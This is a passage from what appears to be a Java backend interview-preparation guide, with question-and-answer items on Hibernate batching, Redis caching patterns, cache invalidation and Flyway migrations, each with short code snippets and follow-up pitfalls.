- `@DynamicUpdate` or sparse nulls with `@DynamicInsert` produce different SQL strings per row, so each differing statement closes the batch.
- Entities with `@Version` and `batch_versioned_data=false` (default true in Hibernate 6 only on drivers that report correct counts).
- The driver ignores batching without `reWriteBatchedInserts` / `rewriteBatchedStatements`; the batch is still sent in one round trip but executes as individual statements on the server.
- Auto-flush mid-loop due to queries (`existsBy...`) or per-row `save()` followed by lookups.
- `cascade` operations hitting many types, and Oracle returning `SUCCESS_NO_INFO` for updated counts.
- Flush happening at fewer than `batch_size` entities because `flush()` was called after every row.

```
// verify with datasource-proxy: expect 1 batch of 50 statements, not 50 batches
assertThat(queryCount.getInsert()).isEqualTo(1);   // batch counted as 1 execution
assertThat(queryCount.getTotal()).isLessThan(5);
```

> **FOLLOW-UP TRAPS**
> - **Does `batch_size` apply to selects?** No; use `default_batch_fetch_size` for lazy loading and `fetch_size` for result streaming.
> - **Is a larger `batch_size` always better?** No, around 30-100 is typical; huge batches increase memory, lock time and failure blast radius.

#batching #troubleshooting #jdbc

DATABASE & CACHING · CHAPTER 4

Redis & Caching Strategies

Redis data structures, caching patterns, eviction, persistence, high availability, distributed locks, rate limiting, hot/big keys, cache failure modes and Spring Data Redis with Lettuce.

15 questions **2** basic **10** intermediate **3** advanced

Scenarios

Q1 Which Redis data structure would you pick for a leaderboard, a session store, a unique-visitor counter and a work queue? BASIC

Match the structure to the access pattern: sorted set for the leaderboard, hash for sessions, HyperLogLog (or set) for unique counts, and a list or stream for queues.

- Sorted set: `ZADD board 1500 user:7`, `ZREVRANGE board 0 9 WITHSCORES`, O(log N) updates and rank queries.
- Hash: `HSET session:abc uid 7 role admin` lets you update single fields and `EXPIRE` the whole key.
- HyperLogLog: `PFADD uv:2026-10-04 user:7`, about 12 KB per key with ~0.8% error; a set is exact but memory grows linearly.
- Streams with consumer groups give acknowledgements and replay; lists (`LPUSH` / `BRPOP`) lose a message if the consumer crashes after popping.

FOLLOW-UP TRAPS

- **Is HyperLogLog exact?** No, it is an approximation; it cannot list members.
- **Can you expire a single hash field?** Not before Redis 7.4 (`HEXPIRE`); before that only the whole key has a TTL.

#data-structures #redis

Q2 Explain cache-aside, and show the typical Spring code. BASIC

In cache-aside the application reads the cache first; on a miss it loads from the database, writes the value into the cache with a TTL and returns it. Writes go to the database and then evict (or update) the cache entry.

```
@Cacheable(cacheNames = "product", key = "#id")
public ProductDto get(long id) { return repo.findById(id).map(ProductDto::from).orElseThrow(); }

@CacheEvict(cacheNames = "product", key = "#id")
public void update(long id, UpdateReq r) { /* update DB */ }
```

- Only requested data is cached, and a cache outage degrades to DB reads rather than failure.
- The first request after eviction is always slow, and there is a stale window between DB write and eviction.

FOLLOW-UP TRAPS

- **Does `@Cacheable` work on a self-invoked method?** No, it is proxy-based, so same-class calls bypass the cache.
- **Does `@Cacheable` cache `null`?** Yes by default (as a null marker). With `RedisCacheConfiguration.disableCachingNullValues()` a `null` result throws unless you add `unless = "#result == null"`.

#cache-aside #spring-cache

Q3 Compare write-through, write-behind and cache-aside. When is each appropriate?

INTERMEDIATE

Write-through writes cache and DB synchronously through a cache layer, write-behind writes the cache and flushes to the DB asynchronously, and cache-aside leaves both to the application.

- Write-through: strong read-your-writes, higher write latency, caches data that may never be read.
- Write-behind: lowest write latency and batching, but data loss if the cache node dies before the flush, and the DB lags behind. Fits counters, analytics, view counts.
- Redis itself has no built-in write-through to your RDBMS; you need a library, Redis Gears/RedisGears-style tooling, or application code.
- Cache-aside is the default for most Spring services because it is simple and tolerant of cache failure.

FOLLOW-UP TRAPS

- **Is write-behind safe for payments?** No, a crash loses acknowledged writes.
- **Does write-through remove staleness?** Only if every writer goes through the same path; a direct DB update still makes it stale.

#write-through #write-behind #patterns

Q4 How do TTL and eviction policies work in Redis? Which `maxmemory-policy` do you choose?

INTERMEDIATE

Keys with a TTL are expired lazily on access and by a periodic sampling job; when `maxmemory` is reached, the `maxmemory-policy` decides what to evict (or whether to reject writes).

- `allkeys-lru` / `allkeys-lfu`: pure cache; evict from all keys. LFU suits skewed popularity.
- `volatile-lru` / `volatile-ttl`: evict only keys with a TTL; if none exist, writes fail with OOM error.
- `noeviction` (default): writes error out when full; right when Redis is a datastore (queues, locks).
- LRU/LFU are approximate (sampled via `maxmemory-samples`, default 5).
- Add random jitter to TTLs to avoid synchronized expiry.

FOLLOW-UP TRAPS

- **Does an expired key free memory immediately?** Not necessarily; it stays until accessed or sampled, though the active expire cycle bounds the backlog.
- **Does `volatile-lru` evict keys without TTL?** No.

#ttl #eviction #maxmemory

Q5 RDB vs AOF persistence: what do you lose on a crash and what would you configure?

INTERMEDIATE

RDB is a periodic point-in-time snapshot (fast restart, compact, can lose minutes of writes); AOF logs every write and replays on restart (loss bounded by fsync policy).

- `appendfsync always` loses nothing but is slow, `everysec` (default) loses up to about 1 second, `no` leaves it to the OS.
- Since Redis 7, AOF is multi-part (base RDB + incremental files); background rewrite compacts it.
- Common production setup: AOF `everysec` plus RDB snapshots for backups. For a pure cache, persistence can be disabled.
- `fork()` for snapshots/rewrites can cause latency spikes and memory growth with copy-on-write on large datasets.

FOLLOW-UP TRAPS

- **Does replication replace persistence?** No, a master restarting empty can wipe replicas through resync.
- **Is AOF `everysec` fully durable?** No, up to ~1 s of acknowledged writes can be lost.

#persistence #rdb #aof

Q6 Compare replication, Sentinel and Cluster. What does each give you?

INTERMEDIATE

Replication copies data to read replicas asynchronously; Sentinel adds monitoring and automatic failover for one master; Cluster shards data over 16384 hash slots across multiple masters and has built-in failover.

- Replication is asynchronous, so a failover can lose recently acknowledged writes; `WAIT` reduces but does not eliminate that.
- Sentinel: needs a quorum (3+ sentinels); clients ask Sentinel for the current master.
- Cluster: slot = `CRC16(key) mod 16384`; multi-key commands and Lua scripts require all keys in the same slot, forced with hash tags like `{user:7}:cart`.
- Replica reads can be stale; Lettuce supports `ReadFrom.REPLICA_PREFERRED`.

FOLLOW-UP TRAPS

- **Can a Cluster do `MGET` across arbitrary keys?** No, `CROSSSLOT` error unless keys share a slot.
- **Does Sentinel scale writes?** No, one master only.

#replication #sentinel #cluster

Q7 How would you implement a distributed lock with Redis, and what are the Redlock caveats?

ADVANCED

Use `SET lock:key <unique-token> NX PX 30000` to acquire, and release with a Lua script that deletes only if the value still equals your token. Locks give only best-effort mutual exclusion because of pauses and clock issues.

```
Boolean ok = redis.opsForValue().setIfAbsent("lock:order:42", token, Duration.ofSeconds(30));
// release
String lua = "if redis.call('get',KEYS[1])==ARGV[1] then return redis.call('del',KEYS[1]) else
return 0 end";
redis.execute(new DefaultRedisScript<>(lua, Long.class), List.of("lock:order:42"), token);
```

- A GC pause or network delay longer than the TTL lets a second client acquire the lock while the first still believes it holds it.
- Async replication: a failover can hand the lock to a new master that never saw it. Redlock (majority of 5 independent masters) tries to fix this but depends on bounded clock drift and pauses; critics (Kleppmann) argue it is unsafe for correctness.
- For correctness, use a fencing token checked by the resource (DB version column) or a DB/ZooKeeper-style lock; use Redis locks for efficiency (avoid duplicate work).
- Redisson provides watchdog lease renewal.

FOLLOW-UP TRAPS

- **Why a unique token?** Otherwise client A may delete a lock that expired and was taken by B.
- **Is `SETNX` then `EXPIRE` fine?** No, a crash between them leaves a permanent lock; use the single atomic `SET NX PX`.

#distributed-lock #redlock #fencing

Q8 Implement a rate limiter with Redis. Compare fixed window, sliding window and token bucket.

INTERMEDIATE

Fixed window uses `INCR` plus `EXPIRE` per window key; sliding window log uses a sorted set of timestamps; token bucket stores tokens and last-refill time updated atomically in Lua.

```
String lua = "local c=redis.call('INCR',KEYS[1]) if c==1 then
redis.call('PEXPIRE',KEYS[1],ARGV[1]) end return c";
Long count = redis.execute(new DefaultRedisScript<>(lua, Long.class), List.of("rl:user7:" +
minute), "60000");
boolean allowed = count != null && count <= 100;
```

- Fixed window is cheap but permits a 2x burst across a window boundary.
- Sliding log is accurate but O(requests) memory; sliding counter approximates with two windows.
- Token bucket allows controlled bursts. Always make read-modify-write atomic (Lua or `MULTI` with `WATCH`).
- Decide fail-open vs fail-closed when Redis is down.

FOLLOW-UP TRAPS

- **Why not `GET` then `SET`?** Race between instances; use `INCR` or a script.
- **What does `INCR` then `EXPIRE` in two calls risk?** Crash in between leaves a key with no TTL; script it.

#rate-limiting #lua

Q9 **One Redis key receives most of the traffic and one cluster node is saturated. How do you handle hot keys?** ADVANCED

A hot key lives on one shard, so adding nodes does not help. Reduce load on that key with a local in-process cache, replicate the key under several names, or split it.

- Detect with `redis-cli --hotkeys` (needs LFU policy), `MONITOR` on a sample (costly), or client-side metrics.
- Local cache (Caffeine) with a short TTL in front of Redis cuts network calls per instance.
- Key splitting: write `product:1:{0..9}`, read a random replica copy; accept staleness while updating all copies.
- Read from replicas for read-heavy keys.

FOLLOW-UP TRAPS

- **Does Cluster resharding fix a hot key?** No, one key is never split across slots.
- **Is `MONITOR` safe in production?** It can halve throughput; use briefly or sample.

#hot-key #cluster

Q10 **What is a big key and what problems does it cause? How do you find and fix it?** INTERMEDIATE

A big key is a single key holding a huge value (a multi-million element hash/list/set or multi-MB string). Because Redis executes commands on one thread, operating on or deleting it blocks all other clients, and it unbalances cluster shards and replication.

- Find with `redis-cli --bigkeys` or `MEMORY USAGE key`; scan with `SCAN`, never `KEYS *`.
- Delete with `UNLINK` (asynchronous free) instead of `DEL`; iterate with `HSCAN` / `SSCAN` / `ZSCAN` instead of `HGETALL` / `SMEMBERS`.
- Split into buckets (`user:7:cart:{hash%16}`) or paginate; compress large JSON values.
- Set `lazyfree-lazy-user-del yes` so even `DEL` is lazy.

FOLLOW-UP TRAPS

- **Is `KEYS` fine on a small prod DB?** No, O(N) and blocking; use `SCAN`.
- **Does Redis 6 I/O threading remove the problem?** No, command execution stays single-threaded.

#big-key #memory #latency

Q11 **A popular key expires and thousands of requests hit the database at once. Explain the stampede and how to prevent it.** INTERMEDIATE

This is a cache stampede (dogpile): many concurrent misses on the same expired key all recompute the value. Prevent it by allowing only one loader per key, or by refreshing before expiry.

- In-process single flight: `@Cacheable(sync = true)` serializes loaders per key within one JVM only.
- Cross-instance: short Redis lock (`SET NX PX`) so one node reloads while others wait briefly or serve stale data.

- Probabilistic early refresh (XFetch) or a soft TTL stored inside the value: serve stale and refresh asynchronously.
- Jittered TTLs and pre-warming hot keys.

FOLLOW-UP TRAPS

- **Does `sync = true` protect a 10-instance deployment?** No, only per JVM, so up to 10 concurrent loads.
- **What if the lock holder dies?** The lock needs a TTL so waiters can proceed.

#cache-stampede #mutex #ttl

Q12 Cache penetration, breakdown and avalanche: define each and give a defense. INTERMEDIATE

Penetration is repeated requests for keys that exist nowhere (always miss, always hit DB); breakdown is one hot key expiring; avalanche is many keys expiring together or the cache dying, flooding the DB.

- Penetration: cache negative results with a short TTL (for example 30-60 s), validate input, or use a Bloom filter of valid IDs.
- Breakdown: mutex/single flight or logical expiry (see stampede).
- Avalanche: randomize TTLs, multi-layer caches, rate limit and circuit-break DB access, keep Redis highly available, degrade gracefully.
- Bulkhead the DB with a small connection pool so a cache outage queues rather than kills it.

FOLLOW-UP TRAPS

- **Does a Bloom filter give false negatives?** No, only false positives (rarely lets an invalid ID through).
- **Does negative caching risk anything?** A newly created record stays "missing" until TTL or explicit eviction.

#penetration #avalanche #breakdown

Q13 JSON vs JDK serialization vs Kryo/Protobuf for cached values: how do you choose, and what breaks on deploy? INTERMEDIATE

`RedisTemplate` defaults to JDK serialization (`JdkSerializationRedisSerializer`): unreadable, large, and tied to class structure (`serialVersionUID`). Prefer JSON (`GenericJackson2JsonRedisSerializer` or typed `Jackson2JsonRedisSerializer`) or a schema-based format.

```
RedisCacheConfiguration cfg = RedisCacheConfiguration.defaultCacheConfig()
    .entryTtl(Duration.ofMinutes(10))
    .serializeKeysWith(SerializationPair.fromSerializer(new StringRedisSerializer()))
    .serializeValuesWith(SerializationPair.fromSerializer(new
GenericJackson2JsonRedisSerializer()));
```

- Rolling deploys: old and new versions share the cache, so adding or removing fields can cause deserialization errors; use tolerant mapping (`FAIL_ON_UNKNOWN_PROPERTIES=false`) or include a version in the cache name or key.
- `GenericJackson2JsonRedisSerializer` embeds `@class` type info, which couples the cache to class names and is a deserialization security surface.
- Protobuf is compact and evolvable, but less debuggable.

FOLLOW-UP TRAPS

- **Why use `StringRedisSerializer` for keys?** Readable, interoperable keys; JDK-serialized keys cannot be inspected in `redis-cli`.
- **Do Java records work with Jackson here?** Yes with Jackson 2.12+ but default typing needs care for final classes.

#serialization #spring-data-redis

Q14 Lettuce vs Jedis in Spring Data Redis: what are the differences and common pitfalls?

INTERMEDIATE

Lettuce (the Spring Boot default) is Netty-based and thread-safe, so one connection is shared across threads; Jedis is not thread-safe and needs a connection pool.

```
spring:
  data:
    redis:
      host: redis
      timeout: 500ms
      lettuce:
        pool:
          enabled: true
          max-active: 16
```

- Set command timeouts; default is 60 s in Lettuce, which hangs request threads during an outage.
- A shared connection is not suitable for blocking commands (`BLRPOP`) or transactions, so those need dedicated or pooled connections (pooling needs `commons-pool2` on the classpath).
- For Cluster, enable topology refresh (adaptive refresh) or clients keep talking to stale nodes after failover.
- Boot 3 uses `spring.data.redis.*` (Boot 2 used `spring.redis.*`).

FOLLOW-UP TRAPS

- **Is a pool always needed with Lettuce?** No, only for blocking commands, transactions or heavy pipelining isolation.
- **Does `@Cacheable` fail the request if Redis is down?** Yes, unless you register a custom `CacheErrorHandler` that logs and falls through to the DB.

#lettuce #jedis #spring-data-redis

Q15 Redis is used both as a cache and as storage for sessions and locks. What can go wrong with a shared `allkeys-lru` instance?

ADVANCED

With `allkeys-lru`, memory pressure can evict session and lock keys, logging users out or silently releasing locks. Cache data and durable data have different failure contracts, so separate them.

- Use separate instances (or clusters) per role: eviction-enabled cache vs `noeviction` for sessions, queues, locks.
- Alternatively use `volatile-*` policy and ensure only cache keys carry TTLs, but this is fragile.
- Monitor `evicted_keys`, `used_memory`, hit ratio (`keyspace_hits / (hits + misses)`) and `latency` metrics; alert on eviction of non-cache keys.
- Namespace keys (`app:cache:*`, `app:lock:*`) so you can audit what is stored.

FOLLOW-UP TRAPS

- **Is a low hit ratio always a problem?** No, depends on workload; check cost per miss and TTL design.
- **Does `maxmemory` equal container memory?** No, leave headroom for fork copy-on-write, replication buffers and fragmentation.

#eviction #architecture #sessions

DATABASE & CACHING · CHAPTER 5

Cache Invalidation Scenarios

Stale reads, dual-write races, CDC and event-based invalidation, versioned keys, multi-layer caches, consistency trade-offs, warm-up and failover behaviour.

15 questions **1** basic **8** intermediate **6** advanced

Scenarios

Q1 Why is cache invalidation considered hard? Give a concrete stale-read example. BASIC

The cache and the database are two stores updated by separate operations that cannot be made atomic, so any ordering leaves a window where readers see old data or, worse, old data is stored permanently.

- Thread A reads a miss and loads value v1 from the DB. Thread B updates the DB to v2 and evicts the key. Thread A then writes v1 into the cache. v1 stays until the TTL expires.
- Every invalidation strategy only narrows the window; the TTL is the safety net that bounds how long staleness can last.

FOLLOW-UP TRAPS

- **Is a TTL enough?** It bounds staleness but does not remove it; choose TTL by what the business tolerates.
- **Does the stale value self-heal?** Only on expiry or the next eviction.

#invalidation #stale-read

Q2 Update the DB then delete the cache, or delete the cache then update the DB? Which is safer? INTERMEDIATE

Update the DB first, then delete the cache entry. Deleting first lets a concurrent reader refill the cache with the old value before the DB commit, leaving stale data indefinitely.

- Delete-then-update race: B deletes key; A misses and reads old DB row; B commits; A writes old value to cache.
- Update-then-delete race is far rarer: it needs a read that started before the commit to write to the cache after the delete (a reader slower than a writer including its commit).
- If the delete fails (network), the entry stays stale: retry via a queue, or rely on TTL.
- Delayed double delete (delete again after ~500 ms) is a heuristic, not a guarantee.

FOLLOW-UP TRAPS

- **Why delete instead of update the cache?** Concurrent writers can apply updates out of order; delete lets the next read rebuild from the source.
- **Does the order matter in a `@Transactional` method?** Yes, evicting before commit lets a reader repopulate the old value; evict after commit (see Q3).

#dual-write #race-condition #cache-aside

Q3 `@CacheEvict` inside a `@Transactional` method evicts, but readers still get stale data. Why and how do you fix it? INTERMEDIATE

`@CacheEvict` runs on method return, which is before the transaction commits. A reader between eviction and commit misses, reads the old committed row, and re-caches it.

```
@Transactional
public void update(long id, Req r) {
    repo.save(apply(id, r));
    TransactionSynchronizationManager.registerSynchronization(new TransactionSynchronization() {
        @Override public void afterCommit() { cache.evict(id); }
    });
}
```

- Alternative: publish an event and handle it with `@TransactionalEventListener(phase = AFTER_COMMIT)` that evicts.
- Spring's `RedisCacheManager` can be wrapped with `.transactionAware()` so put/evict are deferred until commit.

FOLLOW-UP TRAPS

- **What if the afterCommit eviction fails?** The transaction already committed; you need retry or rely on TTL.
- **Does `beforeInvocation = true` help?** No, it makes the window worse.

#spring #transaction #evict

Q4 How does CDC-based invalidation (Debezium) work and why is it more robust than application-side eviction? ADVANCED

A CDC tool reads the database transaction log (binlog/WAL) and emits one event per committed change; a consumer evicts or refreshes the matching cache keys. Because it is driven by the commit log, it catches every writer (other services, SQL scripts, admin fixes) and never fires for rolled-back transactions.

- Delivery is at-least-once, so eviction must be idempotent; deleting a key twice is harmless.
- Ordering per primary key is preserved within a Kafka partition, so key by primary key.
- Cost: extra infrastructure and a lag of typically tens to hundreds of milliseconds, so there is still a small stale window.
- Combine with a TTL as a safety net, and pair with the write path doing a local eviction for read-your-writes.

FOLLOW-UP TRAPS

- **Does CDC give strong consistency?** No, it is eventual with small lag.
- **Should the consumer update the cache or delete it?** Delete is safer against reordering; if updating, compare a version or LSN to avoid applying older events.

#cdc #debezium #event-driven

Q5 Explain versioned keys and when they beat explicit invalidation. INTERMEDIATE

Include a version in the key (`product:42:v17`, or a namespace counter `ns:product:7` embedded into keys) so a change creates a new key instead of mutating an old one. Stale entries become unreachable and age out by TTL.

- Using the row's `version` / `updated_at` read from the DB makes each cache value immutable, so a late writer can only write the old version's key, never overwrite the new one.
- Bulk invalidation: bump a namespace version (`INCR ns:catalog:ver`) and all keys of that namespace are orphaned in O(1) without `KEYS` / `SCAN`.
- Cost: you need the current version first (one cheap lookup) and orphaned entries consume memory until TTL or eviction.
- Useful for CDN/static assets (`app.3f9a.js`) and cache-busting after deploys that change serialization.

FOLLOW-UP TRAPS

- **Where is the version stored?** In a small, hot key or the DB row; if that lookup is itself cached, the problem repeats.
- **Do orphaned keys leak memory forever?** Not if every key has a TTL.

#versioned-keys #namespaces

Q6 **A product price changed but customers still see the old price for minutes. List the layers where it can be cached and how you would trace it.** INTERMEDIATE

Stale data can sit in the browser, CDN, API gateway, application local cache (Caffeine), Redis, Hibernate second-level or query cache, and replica lag in the database. Trace from the outside in using response headers, then bypass layers one by one.

- Check `Cache-Control`, `Age`, `ETag` and CDN hit headers (`X-Cache`).
- Hit the app instance directly, then compare local cache vs Redis (`GET key`, `TTL key`) vs the DB primary vs a replica.
- Local caches are per instance: invalidating Redis does not clear Caffeine on other nodes; broadcast evictions via Redis pub/sub or Kafka.
- Each layer's TTL adds up: worst-case staleness is roughly the sum along the path.

> **FOLLOW-UP TRAPS**
> - **Does evicting Redis clear local caches?** No.
> - **Does `no-cache` mean "do not store"?** No, it means revalidate before use; `no-store` forbids storing.

#multi-layer #debugging #cdn

Q7 **How do you keep a two-level cache (Caffeine L1 + Redis L2) consistent across 10 instances?** ADVANCED

On write, evict L2 and publish an invalidation message; every instance subscribes and evicts its own L1 key. Keep L1 TTL short (seconds) because messages can be lost.

- Redis pub/sub is fire-and-forget: a disconnected instance misses messages, so short L1 TTLs cap the damage. Streams or Kafka give replay.
- Redis 6+ client-side caching (`CLIENT TRACKING`) has the server push invalidations for keys a client read; supported by Lettuce.
- Without invalidation, accept L1 staleness equal to its TTL; reserve L1 for data that tolerates that (config, reference data).
- Libraries: Spring `CompositeCacheManager` does not do this by itself; use a library or custom `Cache` wrapper.

> **FOLLOW-UP TRAPS**
> - **Does the writing instance see its own change immediately?** Only if it also evicts its L1 synchronously, not just via the pub/sub echo.
> - **Is L1 safe for per-user data with 10k users per node?** Bound it by size (`maximumSize`) or it grows until OOM.

#multi-layer #l1-l2 #pub-sub

Q8 **Strong vs eventual consistency in caching: how do you decide what staleness a feature can tolerate?** INTERMEDIATE

Decide per data type by the cost of showing stale data. Cache-aside with TTL gives eventual consistency; strong consistency requires bypassing the cache (or reading through the primary) for the critical path.

- Tolerate minutes: product descriptions, counts, recommendations.
- Tolerate seconds: inventory display; but the checkout decrement must hit the DB with a constraint or atomic update.
- Tolerate nothing: balances, permissions revocation, prices at payment time; read from the source of truth.
- Read-your-writes: after a user's own update, serve their next read from the DB or the freshly written value (sticky route or a short per-user "recent write" marker).

- Never base a write decision on cached data without validating against the DB.

FOLLOW-UP TRAPS

- **Can a cache ever be the source of truth?** Only if it is a durable store by design (persistence, replication), not a plain cache.
- **Does reading from a DB replica fix staleness?** No, replica lag adds another stale layer.

#consistency #trade-offs

Q9 **Two services write to the same table; only service A evicts the cache. What breaks and what do you change?** INTERMEDIATE

Service B's writes never invalidate the cache, so readers see stale data until TTL. Cache invalidation must be tied to the data change, not to one code path.

- Short term: both services share an eviction helper or publish a domain event (`ProductChanged`) via outbox that triggers eviction.
- Better: single owner service for the table, other services call its API.
- Most robust: CDC from the table's log (see CDC question) so even manual SQL updates invalidate.
- Document cache key naming so the same key is used everywhere.

FOLLOW-UP TRAPS

- **Can a shared Redis cache between services be a problem?** Yes, hidden coupling on key formats and serialization; prefer owner service APIs.
- **What is the outbox pattern's role?** It makes "DB change + event" atomic, avoiding the lost-event dual write.

#ownership #event-based

Q10 **A cache fails over to a replica during an incident. What data problems can appear and how do you mitigate them?** ADVANCED

Redis replication is asynchronous, so the promoted replica may be missing the latest writes (including evictions), and deleted keys can reappear. Stale or resurrected entries then persist until TTL.

- Lost evictions: after failover, a key you deleted may exist again with the old value; bounded TTLs limit the damage.
- Lost locks and counters: rate limits and locks can briefly reset or be double-held.
- After a failover where the new master is empty (restart without persistence), you get a cold cache and a DB surge (see warm-up).
- Mitigation: TTLs on everything, `min-replicas-to-write`, idempotent operations, flush or version-bump the namespace after a failover if correctness requires it.
- Lettuce must refresh topology to find the new master; set connection timeouts so threads do not hang.

FOLLOW-UP TRAPS

- **Does `WAIT 1 100` guarantee durability?** No, it reduces the loss window, but a failover can still elect a replica without the write.
- **Should the app crash if Redis is unreachable?** Preferably fall back to the DB with a circuit breaker.

#failover #replication #consistency

Q11 **After a deploy or a Redis restart the cache is empty and the database falls over. How do you warm up safely?** INTERMEDIATE

A cold cache sends nearly all traffic to the database. Pre-load the hottest keys before taking traffic and ramp load gradually.

- Warm via a startup job or readiness gate: load top-N keys (from access logs or a "hot list" table) with bounded concurrency.
- Persist cache (RDB/AOF) so a restart is not cold; for a rolling deploy of the app, Redis is unaffected.
- Ramp: let the load balancer or Kubernetes shift traffic slowly; use request coalescing and rate limiting on the DB path.
- Stagger TTLs during preload (jitter) so the warmed keys do not all expire together.

FOLLOW-UP TRAPS

- **Is warming the whole dataset a good idea?** No, it wastes memory on never-read keys and loads the DB.
- **Should readiness wait for warm-up?** Yes if the DB cannot survive a cold start; otherwise warm in the background.

#warm-up #cold-start

Q12 How do you invalidate a group of keys, such as all cached lists for a category, when one product changes? INTERMEDIATE

Avoid scanning for patterns in production. Use a tag-to-keys index set, or version the namespace so all related keys die at once.

- Tag index: when caching `list:cat:5:page:2`, also `SADD tag:cat:5 list:cat:5:page:2`; on change, `SMEMBERS` then `UNLINK` them and the tag set. Race: concurrent fills can add keys after the sweep, so keep TTLs.
- Namespace version: key = `list:cat:5:v{ver}:page:2`; bump `ver` to invalidate everything in O(1).
- `KEYS pattern` is O(N) and blocks; `SCAN` with `MATCH` is non-blocking per call but still walks the entire keyspace and in Cluster must run per node.
- Cache fewer composite lists; cache entities by ID and assemble lists, so one entity change invalidates one key.

FOLLOW-UP TRAPS

- **Does `SCAN` return a consistent snapshot?** No, keys added during iteration may or may not be returned.
- **Is the tag set itself a hot key?** It can be; shard it if large.

#tag-based #bulk-invalidation

Q13 Hibernate second-level cache and query cache: what invalidation behaviour should you know? ADVANCED

The L2 entity cache is updated or evicted when entities change through Hibernate; changes by native SQL, bulk HQL updates or other applications bypass it and leave stale data. The query cache is invalidated per table: any write to a table the query reads invalidates all cached results of those queries.

- Query cache stores only IDs; each row is then fetched from L2 or the DB, so enabling it without entity caching can add queries.
- Use `@Cache(usage = READ_WRITE)` for read-mostly entities; `NONSTRICT_READ_WRITE` accepts brief staleness; `TRANSACTIONAL` needs JTA support in the provider.
- Native updates need `evictEntityRegion` or `@NamedNativeQuery` with synchronized query spaces.
- In a cluster the provider must propagate invalidation (JCache with Hazelcast/Infinispan/Redisson); a local-only cache goes stale on other nodes.

FOLLOW-UP TRAPS

- **Does a bulk JPQL `update` evict the L2 cache?** Hibernate invalidates the affected entity regions, but a native query does not unless told.
- **Is the query cache good for frequently written tables?** No, it is invalidated constantly.

#hibernate #second-level-cache #query-cache

Q14 How can you detect and measure cache staleness in production?

ADVANCED

Sample reads and compare the cached value to the source, and track hit ratio, eviction counts and invalidation lag as metrics.

- Shadow-read: for 0.1% of cache hits, also read the DB and log a metric `cache.stale{type}` when values differ (compare version or `updated_at`).
- Store `cachedAt` or version in the value so you can compute age at read time and histogram it.
- Track invalidation pipeline lag (CDC consumer lag) and failed evictions (dead-letter queue size).
- Alert on rising DB load with a falling hit ratio (a stampede or avalanche signature).

FOLLOW-UP TRAPS

- **Does a high hit ratio mean correct data?** No, stale data also hits.
- **Does the shadow read hurt the DB?** Keep the sample rate low and run it asynchronously.

#observability #staleness

Q15 Why do cache updates (set instead of delete) cause lost-update bugs and how do you make updates safe when you must write the cache?

ADVANCED

Two concurrent writers can commit to the DB in order 1, 2 but write to the cache in order 2, 1, leaving the older value cached. Make the cache write conditional on a monotonically increasing version.

```
String lua = "local cur=redis.call('HGET',KEYS[1],'v') " +
  "if (not cur) or tonumber(cur) < tonumber(ARGV[1]) then " +
  "redis.call('HSET',KEYS[1],'v',ARGV[1],'data',ARGV[2]) return 1 else return 0 end";
redis.execute(new DefaultRedisScript<>(lua, Long.class), List.of("product:42"), "17", json);
```

- The version comes from the DB (`@Version` column, sequence or LSN).
- A stale writer's script returns 0 and does nothing.
- Serializing writers through a per-key queue or lock is the alternative, at a throughput cost.

FOLLOW-UP TRAPS

- **Why not just use timestamps?** Clock skew between nodes can order them wrongly; use DB versions.
- **Does this fix the cache-aside read-refill race?** Yes, if the refill uses the same conditional write.

#write-through #ordering #versioning

DATABASE & CACHING · CHAPTER 6

Flyway/Liquibase Migrations

Versioned and repeatable migrations, expand-contract zero-downtime changes, checksum failures, rollbacks, large-table changes, baselining, CI practices and multi-instance startup locking.

15 questions **5** basic **7** intermediate **3** advanced

Scenarios

Q1 How do Flyway versioned and repeatable migrations differ? BASIC

Versioned migrations (`V3__add_orders.sql`) run exactly once, in version order. Repeatable migrations (`R__refresh_views.sql`) have no version and re-run whenever their checksum changes, after all versioned ones.

- History is tracked in the `flyway_schema_history` table (version, description, checksum, success flag).
- Use repeatables for idempotent objects: views, functions, stored procedures (`CREATE OR REPLACE`).
- Repeatables run in alphabetical order by description, so dependencies between them need naming discipline.
- Spring Boot runs Flyway on startup when `flyway-core` is on the classpath (Boot 3 with Flyway 10 needs database modules like `flyway-database-postgresql`).

FOLLOW-UP TRAPS

- **Can you edit an applied versioned migration?** No, the checksum changes and validation fails.
- **Can a repeatable depend on a table created in a later versioned file?** All versioned run first, so yes.

#flyway #versioned #repeatable

Q2 Startup fails with "Migration checksum mismatch for migration version 5". What happened and how do you fix it? BASIC

Someone changed the contents of an already applied migration file (even whitespace or line endings), so the stored checksum differs and `validate` aborts startup.

- Proper fix: restore the original file and add a new migration `V6` with the change.
- If the edit is harmless (comment, formatting) and you are sure of the DB state, run `flyway repair`, which updates the stored checksums; it also removes failed entries.
- Check for CRLF/LF conversion by git (`.gitattributes`) or an IDE formatter as a frequent accidental cause.
- Never disable validation (`validateOnMigrate=false`) as the permanent answer, because drift goes undetected.

FOLLOW-UP TRAPS

- **Does `repair` re-run the migration?** No, it only fixes metadata.
- **Liquibase equivalent?** `ValidationFailedException: changeset checksum changed`; use `clear-checksums` or `runOnChange="true"` for specific changesets, or fix the changeset.

#checksum #validate #flyway

Q3 What happens when a migration fails halfway? Compare PostgreSQL and MySQL. INTERMEDIATE

Flyway runs each migration in a transaction where the DB supports transactional DDL. PostgreSQL rolls the whole script back; MySQL (and Oracle) auto-commit DDL, so a failure leaves the schema half-applied and the

history row marked failed.

- On MySQL a failed migration needs manual cleanup of the partial changes, then `flyway repair`, then re-run.
- Keep migrations small and single-purpose so partial failure is easy to reason about.
- Flyway on PostgreSQL still cannot run some statements inside a transaction, such as `CREATE INDEX CONCURRENTLY`; use `-- flyway:executeInTransaction=false` (script config) for those files.
- Newer Flyway versions refuse to start when a failed entry exists until repaired.

FOLLOW-UP TRAPS

- **Does Postgres roll back `CREATE INDEX CONCURRENTLY`?** It cannot run in a transaction at all; a failure leaves an INVALID index to drop.
- **Is `ALTER TABLE` transactional in MySQL 8?** No, DDL is atomic per statement (atomic DDL) but not part of a surrounding transaction.

#failure #transactional-ddl

Q4 How do you do a zero-downtime column rename or type change using expand-contract? ADVANCED

Never rename in place during a rolling deploy, since old and new app versions run against the same schema at once. Split it into backward-compatible steps across multiple releases.

1. Expand: add the new column `full_name` (nullable), deploy migration.
2. Deploy app version that writes both columns and reads the old (or new with fallback).
3. Backfill old rows in batches.
4. Deploy version that reads and writes only the new column.
5. Contract: drop the old column in a later release, once no running version uses it.

```
ALTER TABLE users ADD COLUMN full_name varchar(200);
-- backfill in batches
UPDATE users SET full_name = name WHERE id BETWEEN 1 AND 10000 AND full_name IS NULL;
```

- Same idea for NOT NULL: add nullable, backfill, add a `CHECK ... NOT VALID` then `VALIDATE`, then set NOT NULL.
